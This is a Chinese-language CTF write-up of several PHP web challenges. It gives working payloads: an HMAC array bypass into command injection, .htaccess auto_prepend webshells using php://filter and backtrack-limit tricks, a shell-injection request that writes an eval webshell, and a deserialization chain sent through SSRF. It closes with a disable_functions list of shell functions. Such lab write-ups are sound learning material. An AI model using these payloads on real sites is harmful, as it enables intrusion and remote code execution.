前言
比賽時沒做出多少題,正好buu上題了,復現一下
web
easycon
給了一個shell
GWHT{do_u_kn0w_c@idao}
blackcat
進入頁面有個黑貓警長的mp3。下載下來結尾有一段代碼
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('誰!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,無意擊發,你的夢想就是你要瞄准的目標。相信自己,你就是那顆射中靶心的子彈。');
}
echo exec("nc".$_POST['One-ear']);
hash_hmac — 使用 HMAC 方法生成帶有密鑰的哈希值
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string
在php中md5算法、sha256算法等無法處理數組,這個trick通常來繞過if(@md5($_GET['a']) === @md5($_GET['b']))
,因為當傳入參數為數組時,返回值是NULL,造成了NULL===NULL
那么我們傳White-cat-monitor
為數組,$clandestine
則為NULL,$hh可控,於是繞過判斷,命令執行
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-Cat- Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
buuoj的flag在env里
easyphp
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
繞過正則和關鍵字攔截,用file_put_contents
寫文件,然后題目還限制了只解析index.php
思路
利用.htaccess
來設置文件自動包含
.htaccess
設置php環境變量格式
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
可以使用auto_prepend_file
和auto_append_file
來進行包含
這樣每個頁面都會require所指定的php文件,而不用在頁面php文件中使用require
auto_prepend_file #在頁面頂部加載文件
auto_append_file #在頁面底部加載文件
注意:auto_prepend_file 與 auto_append_file 只能require一個php文件,但這個php文件內可以require多個其他的php文件。
繞過\n
過濾
題目會在寫入文件的后面添加\nHello, world
,我們構造payload時,結尾要用\ 處理content中的\n ,不然違背.htaccess 書寫格式會導致Apache 運行崩
潰
比如我們需要寫入
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\
如果末尾不加\
來轉義\n
,文件內容就會變為
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world
會出現末尾行的字符串不符合htaccess文件的語法標准而報錯導致htaccess文件無法執行,然后全部500
繞過stristr的過濾
過濾了關鍵字,可以用base64繞過
談一談php://filter的妙用
繞過preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
因為正則判斷寫的是if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此存在了被繞過的可能。
文件名寫入php://filter需要繞過preg_match函數的檢查。第一印象想到preg_match處理數組是會返回NULL,然而這里file_put_contents函數傳入的文件名參數不支持數組的形式。
看七月火師傅的文章preg_match函數繞過
在PHP中,正則匹配的遞歸次數由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默認值為 10萬 ,PHP5.3.7 版本之后默認值為 100萬 ,該值可以通過php.ini設置,也可以通過 phpinfo 頁面查看。
那么可以設置pcre.backtrack_limit值為0,使得回溯次數為0,來使得正則匹配什么都不匹配,即返回false。
那么同樣可以按照.htaccess
文件的格式寫入
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world
因為php版本>=7,所以需要特別設置pcre.jit這個環境變量為0,不適用JIT引擎來匹配正則表達式,就使得pcre.backtrack_limit這個環境變量能正常生效,繞過preg_match函數。
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后寫入一句話
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
方法二
可以通過對過濾的關鍵字中間添加換行\n來繞過stristr函數的檢測,不過仍然需要注意添加\來轉義掉換行,這樣才不會出現語法錯誤,如此一來就不需要再繞過preg_match函數,即可直接寫入.htaccess來getshell
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
easyphp2
訪問robots.txt
有個LFI,url兩次編碼繞過
http://7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn/?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>
<style>
html,
body {
overflow: none;
max-height: 100vh;
}
</style>
</head>
<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">
<center><img src="question.jpg" height="200" width="200" /> </center>
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
</body>
</html>
讀check.php
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');
密碼為GWHT
GET /?file=GWHT.php&count='|echo+"<%3f%3d+eval(\$_POST['shell'])%3f>"+>+a.php' HTTP/1.1
Host: 7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
寫一句話然后連蟻劍
find / -name "flag*"
找到flag路徑,權限問題讀不了
/GWHT/system/of/a/down/flag.txt
README里面有個hash
解密后為GWHTCTF
print "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
其實env里面也有,應該是buuoj部署題目時的配置
robots.txt下有個
Disallow: /star1.php/
注釋有一個
利用SSRF,http://127.0.0.1/ser.php
讀取源碼
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
反序列化,需要繞過die
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
public $text = "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";
}
$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));
payload
/star1.php?path=http://127.0.0.1/sandbox/hrnh1cvpq4bvbm960878icaodb/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}
flag在根目錄
break the wall
繞open_basedir
和disable_function
chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink,scandir,popepassthru,fsocket
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl